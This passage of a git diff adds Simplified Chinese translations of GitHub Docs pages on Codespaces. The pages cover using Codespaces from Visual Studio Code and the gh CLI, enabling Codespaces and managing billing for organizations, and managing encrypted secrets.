%} 上的帐户,直接在 {% data variables.product.prodname_vscode %} codespace 中开发。 +product: '{% data reusables.gated-features.codespaces %}' +redirect_from: +- /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code +- /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code +- /github/developing-online-with-codespaces/using-codespaces-in-visual-studio +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Visual Studio Code +- Developer +shortTitle: Visual Studio Code +ms.openlocfilehash: b49a0504dd939a18c34073176e11359725cac7e9 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145148766" +--- +## 关于 {% data variables.product.prodname_vscode %} 中的 {% data variables.product.prodname_codespaces %} + +您可以使用本地安装的 {% data variables.product.prodname_vscode %} 来创建、管理、处理和删除代码空间。 要在 {% data variables.product.prodname_vscode_shortname %} 中使用 {% data variables.product.prodname_codespaces %},你需要安装 {% data variables.product.prodname_github_codespaces %} 扩展。 有关在 {% data variables.product.prodname_vscode_shortname %} 中设置 codespace 的详细信息,请参阅“[先决条件](#prerequisites)”。 + +默认情况下,如果在 {% data variables.product.prodname_dotcom_the_website %} 上创建新的代码空间,它将在浏览器中打开。 如果希望自动打开 {% data variables.product.prodname_vscode_shortname %} 中的任何新 codespace,则可以将默认编辑器设置为 {% data variables.product.prodname_vscode_shortname %}。 有关详细信息,请参阅“[设置 {% data variables.product.prodname_codespaces %} 的默认编辑器](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)”。 + +如果你更喜欢在浏览器中工作,但想要继续使用现有 {% data variables.product.prodname_vscode_shortname %} 扩展、主题和快捷方式,可打开“设置同步”。有关详细信息,请参阅“[个性化帐户的 {% data variables.product.prodname_codespaces %}](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)”。 + +## 先决条件 + +若要直接在 {% data variables.product.prodname_vscode_shortname %} 的 codespace 中进行开发,必须使用 {% data variables.product.product_name %} 凭据安装并登录到 {% data variables.product.prodname_github_codespaces %} 扩展。 {% data variables.product.prodname_github_codespaces %} 扩展需要 {% data variables.product.prodname_vscode_shortname %} 2020 年 10 月 版本 1.51 或更高版本。 + +使用 {% data variables.product.prodname_vscode_marketplace %} 安装 [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 扩展。 有关详细信息,请参阅 {% data variables.product.prodname_vscode_shortname %} 文档中的[扩展市场](https://code.visualstudio.com/docs/editor/extension-gallery)。 + + +{% mac %} + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. 单击“登录以查看 {% data variables.product.prodname_dotcom %}…”。 + + ![登录以查看 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) + +2. 要授权 {% data variables.product.prodname_vscode_shortname %} 访问你在 {% data variables.product.product_name %} 上的帐户,请单击“允许”。 +3. 登录 {% data variables.product.product_name %} 以审批扩展。 + +{% endmac %} + +{% windows %} + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. 使用“远程资源管理器”下拉列表,然后单击“{% data variables.product.prodname_github_codespaces %}”。 + + ![{% data variables.product.prodname_codespaces %} 标头](/assets/images/help/codespaces/codespaces-header-vscode.png) + +1. 单击“登录以查看 {% data variables.product.prodname_codespaces %}…”。 + + ![登录以查看 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) + +1. 要授权 {% data variables.product.prodname_vscode_shortname %} 访问你在 {% data variables.product.product_name %} 上的帐户,请单击“允许”。 +1. 登录 {% data variables.product.product_name %} 以审批扩展。 + +{% endwindows %} + +## 在 {% data variables.product.prodname_vscode_shortname %} 中创建 codespace + +{% data reusables.codespaces.creating-a-codespace-in-vscode %} + +## 在 {% data variables.product.prodname_vscode_shortname %} 中打开 codespace + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. 在“Codespaces(代码空间)”下,单击您要在其中开发的代码空间。 +1. 单击 Connect to Codespace(连接到代码空间)图标。 + + ![{% data variables.product.prodname_vscode_shortname %} 中的“连接到 codespace”图标](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) + +## 在 {% data variables.product.prodname_vscode_shortname %} 中更改计算机类型 + +{% data reusables.codespaces.codespaces-machine-types %} 可以随时更改 codespace 的计算机类型。 + +1. 在 {% data variables.product.prodname_vscode_shortname %} 中,打开命令面板 (`shift command P` / `shift control P`)。 +1. 搜索并选择“代码空间:更改机器类型”。 + + ![搜索分支以创建新的 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png) + +1. 单击您要更改的代码空间。 + + ![搜索分支以创建新的 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) + +1. 选择您要使用的机器类型。 + + {% note %} + + 注意:{% data reusables.codespaces.codespaces-machine-type-availability %} + + {% endnote %} + +1. 如果代码空间正在运行,则会显示一条消息,询问您现在是否要重新启动并重新连接到代码空间。 + + 如果想立即更改用于此 codespace 的计算机类型,请单击“是”。 + + 如果单击“否”,或者 codespace 当前未运行,更改将在 codespace 下次重启时生效。 + +## 在 {% data variables.product.prodname_vscode_shortname %} 中删除 codespace + +{% data reusables.codespaces.deleting-a-codespace-in-vscode %} + +## 切换到 {% data variables.product.prodname_vscode_shortname %} 的预览体验版本 + +可以在 {% data variables.product.prodname_codespaces %} 中使用 [{% data variables.product.prodname_vscode_shortname %} 的预览体验版本](https://code.visualstudio.com/docs/setup/setup-overview#_insiders-nightly-build)。 + +1. 在 {% data variables.product.prodname_codespaces %} 窗口的左下角,选择“{% octicon "gear" aria-label="The settings icon" %} 设置”。 +2. 从列表中,选择“Switch to Insiders Version(切换到内部版本)”。 + + ![单击 {% data variables.product.prodname_codespaces %} 中的“预览体验版本”](/assets/images/help/codespaces/codespaces-insiders-vscode.png) +3. 选择后,{% data variables.product.prodname_codespaces %} 将继续以内部版本打开。 diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md new file mode 100644 index 0000000000..d044a184f9 --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md @@ -0,0 +1,202 @@ +--- +title: 将 Codespaces 与 GitHub CLI 结合使用 +shortTitle: GitHub CLI +intro: 可以使用 {% data variables.product.product_name %} 命令行界面 `gh` 直接从命令行使用 {% data variables.product.prodname_github_codespaces %}。 +product: '{% data reusables.gated-features.codespaces %}' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' +type: how_to +topics: +- Codespaces +- CLI +- Developer +ms.openlocfilehash: 3ad93a4c72d2f2fedc526b3593ad4a39597e8fc3 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145179787" +--- +## 关于 {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)。” + +您可以在 {% data variables.product.prodname_cli %} 中使用 {% data variables.product.prodname_codespaces %}: +- [列出 codespace](#list-all-of-your-codespaces) +- [创建 codespace](#create-a-new-codespace) +- [停止 codespace](#stop-a-codespace) +- [删除 codespace](#delete-a-codespace) +- [通过 SSH 连接到 codespace](#ssh-into-a-codespace) +- [在 {% data variables.product.prodname_vscode %} 中打开 codespace](#open-a-codespace-in-visual-studio-code) +- [在 JupyterLab 中打开 codespace](#open-a-codespace-in-jupyterlab) +- [向/从 codespace 复制文件](#copy-a-file-tofrom-a-codespace) +- [修改 codespace 中的端口](#modify-ports-in-a-codespace) +- [访问 codespace 日志](#access-codespace-logs) + +## 安装 {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-installation %} + +## 使用 {% data variables.product.prodname_cli %} + +如果尚未执行此操作,请运行 `gh auth login` 对 {% data variables.product.prodname_dotcom %} 帐户进行身份验证。 + +若要使用 `gh` 处理 {% data variables.product.prodname_codespaces %},请键入 `gh codespace ` 或其别名 `gh cs `。 + +作为可用于处理 {% data variables.product.prodname_github_codespaces %} 的一系列命令的示例,您可以: + +* 列出当前 codespace,检查是否有特定存储库的 codespace:
+ `gh codespace list` +* 为所需的存储库分支创建新的 codespace:
+ `gh codespace create -r github/docs -b main` +* 通过 SSH 连接到新的 codespace:
+ `gh codespace ssh -c mona-github-docs-v4qxrv7rfwv9w` +* 将端口转发到本地计算机:
+ `gh codespace ports forward 8000:8000 -c mona-github-docs-v4qxrv7rfwv9w` + +## {% data variables.product.prodname_github_codespaces %} 的 `gh` 命令 + +以下各节给出了每个可用操作的示例命令。 + +有关 {% data variables.product.prodname_github_codespaces %} 的 `gh` 命令的完整参考,包括每个命令的所有可用选项的详细信息,请参阅 {% data variables.product.prodname_cli %} 联机帮助以了解“[gh codespace](https://cli.github.com/manual/gh_codespace)”。 或者,在命令行上使用 `gh codespace [...] --help`。 + +{% note %} + +注意:与许多命令一起使用的 `-c codespace-name` 标志是可选的。 如果省略它,则会显示一个代码空间列表供您选择。 + +{% endnote %} + +### 列出所有代码空间 + +```shell +gh codespace list +``` + +该列表包含每个 codespace 的唯一名称,可在其他 `gh codespace` 命令中使用。 + +### 创建新的代码空间 + +```shell +gh codespace create -r owner/repository [-b branch] +``` + +有关详细信息,请参阅“[创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace)”。 + +### 停止代码空间 + +```shell +gh codespace stop -c codespace-name +``` + +有关详细信息,请参阅“[深入了解 Codespaces](/codespaces/getting-started/deep-dive#closing-or-stopping-your-codespace)”。 + +### 删除代码空间 + +```shell +gh codespace delete -c codespace-name +``` + +有关详细信息,请参阅“[删除 codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)”。 + +### SSH 到代码空间 + +要在远程代码空间计算机上运行命令,请从终端通过 SSH 进入代码空间。 + +```shell +gh codespace ssh -c codespace-name +``` + +{% data variables.product.prodname_github_codespaces %} 在创建时将 GitHub SSH 密钥复制到代码空间中,以获得无缝的身份验证体验。 系统可能会要求您输入 SSH 密钥的密码,之后您将收到来自远程代码空间计算机的命令提示。 + +如果没有 SSH 密钥,请按照“[生成新的 SSH 密钥并将其添加到 ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”中的说明进行操作。 + +### 在 {% data variables.product.prodname_vscode %} 中打开代码空间 + +```shell +gh codespace code -c codespace-name +``` + +有关详细信息,请参阅“[在 {% data variables.product.prodname_vscode %} 中使用 {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code)”。 + +### 在 JupyterLab 中打开 codespace + +```shell +gh codespace jupyter -c codespace-name +``` + +### 将文件复制到代码空间/从代码空间复制文件 + +```shell +gh codespace cp [-r] source(s) destination +``` + +使用文件或目录名称上的前缀 `remote:` 来指示它位于 codespace 上。 与 UNIX `cp` 命令一样,第一个参数指定源,最后一个参数指定目标。 如果目标是目录,则可以指定多个来源。 如果任何源是目录,请使用 `-r`(递归)标志。 + +代码空间上文件和目录的位置相对于远程用户的主目录。 + +#### 示例 + +* 将文件从本地计算机复制到 codespace 的 `$HOME` 目录: + + `gh codespace cp myfile.txt remote:` + +* 将文件复制到代码空间中检出存储库的目录: + + `gh codespace cp myfile.txt remote:/workspaces/` + +* 将文件从代码空间复制到本地计算机上的当前目录: + + `gh codespace cp remote:myfile.txt .` + +* 将三个本地文件复制到 codespace 的 `$HOME/temp` 目录: + + `gh codespace cp a1.txt a2.txt a3.txt remote:temp` + +* 将三个文件从代码空间复制到本地计算机上的当前工作目录: + + `gh codespace cp remote:a1.txt remote:a2.txt remote:a3.txt .` + +* 将本地目录复制到 codespace 的 `$HOME` 目录: + + `gh codespace cp -r mydir remote:` + +* 将目录从代码空间复制到本地计算机,更改目录名称: + + `gh codespace cp -r remote:mydir mydir-localcopy` + +有关 `gh codespace cp` 命令的详细信息,包括可以使用的其他标志,请参阅 [{% data variables.product.prodname_cli %} 手册](https://cli.github.com/manual/gh_codespace_cp)。 + +### 修改代码空间中的端口 + +您可以将代码空间上的端口转发到本地端口。 只要进程正在运行,端口就会保持转发状态。 若要停止转发端口,请按 Control+C。 + +```shell +gh codespace ports forward codespace-port-number:local-port-number -c codespace-name +``` + +若要查看转发端口的详细信息,请输入 `gh codespace ports` 并选择一个 codespace。 + +您可以设置转发端口的可见性。 {% data reusables.codespaces.port-visibility-settings %} + +```shell +gh codespace ports visibility codespace-port:private|org|public -c codespace-name +``` + +您可以使用一个命令设置多个端口的可见性。 例如: + +```shell +gh codespace ports visibility 80:private 3000:public 3306:org -c codespace-name +``` + +有关详细信息,请参阅“[在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)。” + +### 访问代码空间日志 + +您可以查看代码空间的创建日志。 输入此命令后,系统将要求您输入 SSH 密钥的密码。 + +```shell +gh codespace logs -c codespace-name +``` + +有关创建日志的详细信息,请参阅“[Codespaces 日志](/codespaces/troubleshooting/codespaces-logs#creation-logs)。” diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md new file mode 100644 index 0000000000..c649fc43f4 --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md @@ -0,0 +1,69 @@ +--- +title: 为组织启用 Codespaces +shortTitle: Enable Codespaces +intro: 您可以控制组织中的哪些用户可以使用 {% data variables.product.prodname_codespaces %}。 +product: '{% data reusables.gated-features.codespaces %}' +permissions: To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner. +redirect_from: +- /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Permissions +- Administrator +ms.openlocfilehash: bd4518ef6db3887e504b13459abb5c6a682c8659 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099874" +--- +## 关于为组织启用 {% data variables.product.prodname_codespaces %} + +组织所有者可以控制组织中的哪些用户可以创建和使用代码空间。 + +要在组织中使用 Codespaces,必须执行以下操作: + +- 确保用户对他们要在其中使用代码空间的存储库[至少具有写入权限](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization)。 +- [为组织中的用户启用 {% data variables.product.prodname_codespaces %}](#enable-codespaces-for-users-in-your-organization)。 您可以选择允许所选用户使用 {% data variables.product.prodname_codespaces %} ,也可以选择仅允许特定用户使用。 +- [设置支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- 确保您的组织未启用 IP 地址允许列表。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[管理组织允许的 IP 地址](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list){% ifversion fpt %}”。{% else %}."{% endif %} + +默认情况下,代码空间只能访问从中创建它的存储库。 如果希望组织中的代码空间能够访问代码空间创建者可以访问的其他组织存储库,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的访问和安全](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)”。 + +## 为组织中的用户启用 {% data variables.product.prodname_codespaces %} + +{% ifversion fpt %} {% note %} + +注意:如果你是经过验证的教师或老师,则必须从 {% data variables.product.prodname_classroom %} 启用 {% data variables.product.prodname_codespaces %} 来使用 {% data variables.product.prodname_codespaces %} 教育权益。 有关详细信息,请参阅“[将 GitHub Codespaces 与 GitHub Classroom 配合使用](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)”。 + +{% endnote %} {% endif %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} +1. 在“User permissions(用户权限)”下,选择以下选项之一: + + * “所选用户”,以选择特定组织成员使用 {% data variables.product.prodname_codespaces %}。 + * “允许所有成员”,以允许所有组织成员使用 {% data variables.product.prodname_codespaces %}。 + * “允许所有成员和外部协作者”,以允许所有组织成员以及外部协作者使用 {% data variables.product.prodname_codespaces %}。 + + ![“用户权限”的单选按钮](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png) + + {% note %} + + **注意:** 选择“允许所有成员和外部协作者”时,所有已添加到特定存储库的外部协作者都可以创建和使用 {% data variables.product.prodname_codespaces %}。 您的组织将对外部协作者发生的所有使用付费。 有关管理外部协作者的详细信息,请参阅“[关于外部协作者](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)”。 + + {% endnote %} + +1. 单击“ **保存**”。 + +## 为组织禁用 {% data variables.product.prodname_codespaces %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} +1. 在“用户权限”下,选择“禁用”。 + +## 设置支出限制 + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +有关管理和更改帐户支出限制的信息,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。 diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md new file mode 100644 index 0000000000..0ac55571d2 --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md @@ -0,0 +1,55 @@ +--- +title: 管理组织中代码空间的计费 +shortTitle: Manage billing +intro: 您可以检查 {% data variables.product.prodname_codespaces %} 使用情况并设置使用限制。 +product: '{% data reusables.gated-features.codespaces %}' +permissions: To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager. +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +- Billing +ms.openlocfilehash: a5cc1d61c560c534dc2bdf5a543097e49b336478 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145149722" +--- +## 概述 + +若要了解 {% data variables.product.prodname_codespaces %} 的定价,请参阅“[{% data variables.product.prodname_codespaces %} 定价](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)”。 + +{% data reusables.codespaces.codespaces-billing %} + +- 作为组织所有者或计费管理员,可以为组织管理 {% data variables.product.prodname_codespaces %} 计费:[“关于 Codespaces 计费”](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces) + +- 对于用户,有一个指南解释了计费的工作原理:[“了解 Codespaces 计费”](/codespaces/codespaces-reference/understanding-billing-for-codespaces) + +## 使用限制 + +您可以为组织或存储库中的代码空间设置使用限制。 此限制适用于 {% data variables.product.prodname_codespaces %} 的计算和存储使用情况: + +- 计算分钟数:计算使用量是按所有 {% data variables.product.prodname_codespaces %} 实例在活动期间使用的实际分钟数计算的。 这些总计每天报告给计费服务,并按月计费。 您可以为组织中 {% data variables.product.prodname_codespaces %} 使用设置支出限制。 有关详细信息,请参阅“[管理 Codespaces 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。 + +- 存储使用情况:出于 {% data variables.product.prodname_codespaces %} 计费目的,这包括你帐户中所有 codespace 使用的所有存储空间。 这包括代码空间使用的所有内容,例如克隆的存储库、配置文件和扩展等。 这些总计每天报告给计费服务,并按月计费。 到月底,{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 若要检查 {% data variables.product.prodname_codespaces %} 使用了多少计算分钟数和存储 GB,请参阅“[查看 Codespaces 使用情况”](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)。 + +## 禁用或限制 {% data variables.product.prodname_codespaces %} + +您可以在组织或存储库中禁用 {% data variables.product.prodname_codespaces %}。 有关详细信息,请参阅“[管理组织 codespace 的存储库访问](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)”。 + +您还可以限制可以使用 {% data variables.product.prodname_codespaces %} 的单个用户。 有关详细信息,请参阅“[管理组织的用户权限](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)”。 + +您可以限制可用于组织拥有的存储库的计算机类型选择。 这使您可以防止人们使用资源过多的计算机作为其代码空间。 有关详细信息,请参阅“[限制对计算机类型的访问](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)”。 + +## 删除未使用的代码空间 + +你的用户可以在 https://github.com/codespaces 中以及从 {% data variables.product.prodname_vscode %} 中删除其 codespace。 要减小 codespace 的大小,用户可以使用终端或从 {% data variables.product.prodname_vscode_shortname %} 中手动删除文件。 + +{% note %} + +注意:只有创建 codespace 的人才能删除它。 目前,组织所有者无法删除其组织内创建的代码空间。 + +{% endnote %} diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md new file mode 100644 index 0000000000..f74c33ea59 --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md @@ -0,0 +1,61 @@ +--- +title: 管理组织中 GitHub Codespaces 的计费 +shortTitle: Manage billing +intro: 你可以检查 {% data variables.product.prodname_github_codespaces %} 使用情况并设置使用限制。 +product: '{% data reusables.gated-features.codespaces %}' +permissions: To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager. +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +- Billing +redirect_from: +- /codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization +ms.openlocfilehash: 752a32ca3af18873e88fab2389beef0262988b28 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147676654" +--- +## 概述 + +若要了解 {% data variables.product.prodname_github_codespaces %} 的定价,请参阅“[{% data variables.product.prodname_codespaces %} 定价](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)”。 + +{% data reusables.codespaces.codespaces-billing %} + +- 作为组织所有者或计费管理员,可以为组织管理 {% data variables.product.prodname_codespaces %} 计费:[“关于 Codespaces 计费”](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces) + +- 对于用户,有一个指南解释了计费的工作原理:[“了解 Codespaces 计费”](/codespaces/codespaces-reference/understanding-billing-for-codespaces) + +## 使用限制 + +您可以为组织或存储库中的代码空间设置使用限制。 此限制适用于 {% data variables.product.prodname_github_codespaces %} 的计算和存储使用情况: + +- 计算分钟数:计算使用量是按所有 {% data variables.product.prodname_codespaces %} 实例在活动期间使用的实际分钟数计算的。 这些总计每天报告给计费服务,并按月计费。 您可以为组织中 {% data variables.product.prodname_codespaces %} 使用设置支出限制。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)”。 + +- 存储使用情况:出于 {% data variables.product.prodname_codespaces %} 计费目的,这包括你帐户中所有 codespace 使用的所有存储空间。 这包括代码空间使用的所有内容,例如克隆的存储库、配置文件和扩展等。 这些总计每天报告给计费服务,并按月计费。 到月底,{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 若要检查 {% data variables.product.prodname_codespaces %} 使用了多少计算分钟数和存储 GB,请参阅“[查看 {% data variables.product.prodname_github_codespaces %} 使用情况](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)”。 + +## 禁用或限制 {% data variables.product.prodname_codespaces %} + +你可以禁用会对组织进行计费的所有 {% data variables.product.prodname_github_codespaces %} 使用。 或者,你可以指定哪些组织成员或协作者可以使用 {% data variables.product.prodname_codespaces %}(费用由组织承担)。 有关详细信息,请参阅“[为组织启用 {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)”。 + +{% data reusables.codespaces.codespaces-disabling-org-billing %} + +可以配置可从为特定存储库创建的 codespace 访问哪些存储库。 有关详细信息,请参阅“[管理对 codespace 内其他存储库的访问权限](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)”。 + +可以限制可用于从组织拥有的存储库创建的 codespace 的计算机类型选择。 这使你可以防止人们使用资源过多的计算机作为其 codespace,产生不必要的费用。 有关详细信息,请参阅“[限制对计算机类型的访问](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)”。 + +还可以限制 codespace 在自动删除之前可以保持未使用状态的时间长度。 这可帮助降低 {% data variables.product.prodname_codespaces %} 的存储成本。 有关详细信息,请参阅“[限制 codespace 的保持期](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)”。 + +## 删除未使用的代码空间 + +你的用户可以在 https://github.com/codespaces 中以及从 {% data variables.product.prodname_vscode %} 中删除其 codespace。 要减小 codespace 的大小,用户可以使用终端或从 {% data variables.product.prodname_vscode_shortname %} 中手动删除文件。 + +{% note %} + +注意:Codespace 在停止后会自动删除,并在定义的天数内保持非活动状态。 有关详细信息,请参阅“[限制 codespace 的保持期](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)”。 codespace 只能由创建 codespace 的人员手动删除。 + +{% endnote %} diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md new file mode 100644 index 0000000000..644d5c3e7a --- /dev/null +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md @@ -0,0 +1,77 @@ +--- +title: 为您的仓库和代码空间组织管理加密的密钥 +shortTitle: Encrypted secrets +intro: 加密密钥允许您将敏感信息存储在您的组织、仓库或 {% data variables.product.prodname_codespaces %} 中。 +product: '{% data reusables.gated-features.codespaces %}' +permissions: To manage secrets for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner. +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +- Secret store +- Security +ms.openlocfilehash: 062b73c8559b700bdbd37a6b31da44403c2092f5 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099866" +--- +## 关于机密 + +密钥是您在组织或仓库中创建的加密环境变量。 您创建的密钥可用于 {% data variables.product.prodname_codespaces %}。 GitHub 在机密提交到 GitHub 之前使用 [libsodium 密封盒](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes)对其加密,并且仅当需要在 codespace 中使用它们时才对其解密。 + +组织级密钥允许在多个仓库之间共享密钥,从而减少创建重复密钥的需要。 您可以使用访问策略来控制哪些仓库可以使用组织密钥。 + +{% data reusables.codespaces.secrets-on-start %} + +### 命名密钥 + +{% data reusables.codespaces.secrets-naming %} 例如,在仓库级别创建的密钥必须在该仓库中具有唯一的名称, 而在组织级创建的密钥必须在该级别有独特的名称。 + + {% data reusables.codespaces.secret-precedence %} + +### 密码的限制 + +每个组织最多可存储 100 个密钥,每个仓库最多可存储 100 个密钥。 + +密码大小限于 64 KB。 + +## 为仓库添加密钥 + +要为组织仓库创建密码,您必须具有管理员访问权限。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. 在边栏的“安全性”部分中,选择“{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} 机密”,然后单击“{% data variables.product.prodname_codespaces %}” 。 +2. 在页面顶部,单击“新建存储库机密”。 +3. 在“名称”输入框中键入机密名称。 +4. 输入密码的值。 +5. 单击“添加机密”。 + +## 为组织添加密钥 + +在组织中创建密码时,可以使用策略来限制可以访问该密码的仓库。 例如,您可以将访问权限授予所有仓库,也可以限制仅私有仓库或指定的仓库列表拥有访问权限。 + +{% data reusables.actions.permissions-statement-secrets-organization %} + +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} +1. 在边栏的“安全性”部分中,选择“{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} 机密”,然后单击“{% data variables.product.prodname_codespaces %}” 。 +2. 在页面顶部,单击“新建组织机密”。 +3. 在“名称”输入框中键入机密名称。 +4. 输入“机密”的值。 +5. 从“存储库访问”下拉列表中,选择访问策略。 + ![已选定专用存储库的存储库访问列表](/assets/images/help/codespaces/secret-repository-access.png) +6. 单击“添加机密”。 + +## 审查对组织级别密码的访问权限 + +您可以检查哪些访问策略应用于组织中的密钥。 + +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.actions.sidebar-secret %} +1. 密码列表包括任何已配置的权限和策略。 例如:![机密列表](/assets/images/help/settings/actions-org-secrets-list.png) +1. 